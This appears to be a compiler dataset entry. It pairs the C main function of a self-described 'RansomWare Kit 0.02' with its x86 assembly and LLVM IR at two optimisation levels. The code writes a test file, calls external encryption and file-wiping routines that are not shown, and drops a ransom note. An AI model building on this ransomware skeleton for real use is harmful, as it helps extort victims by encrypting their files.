#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ bench_rsa();
int /*<<< orphan*/ encrypt_file(char *);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int /*<<< orphan*/ fputs(char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ mysrm(char *);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *);
int main() {
  FILE *fp = NULL;
  fp = fopen("message.txt", "w");
  if (!fp) {
    perror("test message creation failed!");
    exit(-1);
  }
  fputs("message\n", fp);
  fclose(fp);
  encrypt_file("");
  printf("encrytion done!\n");
  bench_rsa();
  printf("decrytion done!\n");
  mysrm("message.txt");
  fp = fopen("README.TXT", "w");
  if (!fp) {
    perror("Ransom note delivery failed!");
    exit(-1);
  }
  fputs("This is RansomWare Kit 0.02!\nStrictly for educational purposes!\n",
        fp);
  fclose(fp);
  printf("done!\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
movq   $0x0,-0x10(%rbp)
lea    0xe52(%rip),%rdi
lea    0xe57(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,-0x10(%rbp)
cmpq   $0x0,-0x10(%rbp)
jne    11df <main+0x4f>
lea    0xe3e(%rip),%rdi
call   1080 <perror@plt>
mov    $0xffffffff,%edi
call   10a0 <exit@plt>
mov    -0x10(%rbp),%rsi
lea    0xe42(%rip),%rdi
call   1050 <fputs@plt>
mov    -0x10(%rbp),%rdi
call   1030 <fclose@plt>
lea    0xe57(%rip),%rdi
call   1060 <encrypt_file@plt>
lea    0xe2a(%rip),%rdi
call   1040 <printf@plt>
mov    $0x0,%al
call   10b0 <bench_rsa@plt>
lea    0xe28(%rip),%rdi
call   1040 <printf@plt>
lea    0xdd6(%rip),%rdi
call   1090 <mysrm@plt>
lea    0xe21(%rip),%rdi
lea    0xdcf(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,-0x10(%rbp)
cmpq   $0x0,-0x10(%rbp)
jne    1267 <main+0xd7>
lea    0xe0a(%rip),%rdi
call   1080 <perror@plt>
mov    $0xffffffff,%edi
call   10a0 <exit@plt>
mov    -0x10(%rbp),%rsi
lea    0xe0d(%rip),%rdi
call   1050 <fputs@plt>
mov    -0x10(%rbp),%rdi
call   1030 <fclose@plt>
lea    0xdc9(%rip),%rdi
call   1040 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
lea    0xe68(%rip),%rdi
lea    0xe6d(%rip),%rsi
call   1060 <fopen@plt>
test   %rax,%rax
je     1254 <main+0xc4>
mov    %rax,%rbx
lea    0xe75(%rip),%rdi
mov    $0x8,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   10a0 <fwrite@plt>
mov    %rbx,%rdi
call   1040 <fclose@plt>
lea    0xec5(%rip),%rdi
call   1050 <encrypt_file@plt>
lea    0xeba(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
call   10b0 <bench_rsa@plt>
lea    0xeb7(%rip),%rdi
call   1030 <puts@plt>
lea    0xdfd(%rip),%rdi
call   1080 <mysrm@plt>
lea    0xe26(%rip),%rdi
lea    0xdf6(%rip),%rsi
call   1060 <fopen@plt>
test   %rax,%rax
je     125d <main+0xcd>
mov    %rax,%rbx
lea    0xe33(%rip),%rdi
mov    $0x40,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   10a0 <fwrite@plt>
mov    %rbx,%rdi
call   1040 <fclose@plt>
lea    0xe6d(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rbx
ret
lea    0xdb3(%rip),%rdi
jmp    1264 <main+0xd4>
lea    0xddc(%rip),%rdi
call   1070 <perror@plt>
mov    $0xffffffff,%edi
call   1090 <exit@plt>

LLVM IR (-O0):
@.str = [12 x i8] c"message.txt\00"
@.str.1 = [2 x i8] c"w\00"
@.str.2 = [30 x i8] c"test message creation failed!\00"
@.str.3 = [9 x i8] c"message\0A\00"
@.str.4 = [1 x i8] zeroinitializer
@.str.5 = [17 x i8] c"encrytion done!\0A\00"
@.str.6 = [17 x i8] c"decrytion done!\0A\00"
@.str.7 = [11 x i8] c"README.TXT\00"
@.str.8 = [29 x i8] c"Ransom note delivery failed!\00"
@.str.9 = [65 x i8] c"This is RansomWare Kit 0.02!\0AStrictly for educational purposes!\0A\00"
@.str.10 = [7 x i8] c"done!\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32*
store i32 0, i32* %1
store i32* null, i32** %2
%3 = call i32* @fopen(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %3, i32** %2
%4 = load i32*, i32** %2
%5 = icmp ne i32* %4, null
br i1 %5, label %9, label %6
6: ; preds = %0
%7 = call i32 @perror(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.2, i64 0, i64 0))
%8 = call i32 @exit(i32 -1)
unreachable
9: ; preds = %0
%10 = load i32*, i32** %2
%11 = call i32 @fputs(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.3, i64 0, i64 0), i32* %10)
%12 = load i32*, i32** %2
%13 = call i32 @fclose(i32* %12)
%14 = call i32 @encrypt_file(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.4, i64 0, i64 0))
%15 = call i32 @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.5, i64 0, i64 0))
%16 = call i32 (...) @bench_rsa()
%17 = call i32 @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.6, i64 0, i64 0))
%18 = call i32 @mysrm(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0))
%19 = call i32* @fopen(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %19, i32** %2
%20 = load i32*, i32** %2
%21 = icmp ne i32* %20, null
br i1 %21, label %25, label %22
22: ; preds = %9
%23 = call i32 @perror(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.8, i64 0, i64 0))
%24 = call i32 @exit(i32 -1)
unreachable
25: ; preds = %9
%26 = load i32*, i32** %2
%27 = call i32 @fputs(i8* getelementptr inbounds ([65 x i8], [65 x i8]* @.str.9, i64 0, i64 0), i32* %26)
%28 = load i32*, i32** %2
%29 = call i32 @fclose(i32* %28)
%30 = call i32 @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.10, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [12 x i8] c"message.txt\00"
@.str.1 = [2 x i8] c"w\00"
@.str.2 = [30 x i8] c"test message creation failed!\00"
@.str.3 = [9 x i8] c"message\0A\00"
@.str.4 = [1 x i8] zeroinitializer
@.str.7 = [11 x i8] c"README.TXT\00"
@.str.8 = [29 x i8] c"Ransom note delivery failed!\00"
@.str.9 = [65 x i8] c"This is RansomWare Kit 0.02!\0AStrictly for educational purposes!\0A\00"
@str = [16 x i8] c"encrytion done!\00"
@str.11 = [16 x i8] c"decrytion done!\00"
@str.12 = [6 x i8] c"done!\00"
define i32 @main() {
%1 = tail call i32* @fopen(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%2 = icmp eq i32* %1, null
br i1 %2, label %3, label %6
3: ; preds = %0
%4 = tail call i32 @perror(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.2, i64 0, i64 0))
%5 = tail call i32 @exit(i32 -1)
unreachable
6: ; preds = %0
%7 = tail call i64 @fwrite(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.3, i64 0, i64 0), i64 8, i64 1, i32* %1)
%8 = tail call i32 @fclose(i32* %1)
%9 = tail call i32 @encrypt_file(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.4, i64 0, i64 0))
%10 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @str, i64 0, i64 0))
%11 = tail call i32 (...) @bench_rsa()
%12 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @str.11, i64 0, i64 0))
%13 = tail call i32 @mysrm(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0))
%14 = tail call i32* @fopen(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%15 = icmp eq i32* %14, null
br i1 %15, label %16, label %19
16: ; preds = %6
%17 = tail call i32 @perror(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.8, i64 0, i64 0))
%18 = tail call i32 @exit(i32 -1)
unreachable
19: ; preds = %6
%20 = tail call i64 @fwrite(i8* getelementptr inbounds ([65 x i8], [65 x i8]* @.str.9, i64 0, i64 0), i64 64, i64 1, i32* %14)
%21 = tail call i32 @fclose(i32* %14)
%22 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([6 x i8], [6 x i8]* @str.12, i64 0, i64 0))
ret i32 0
}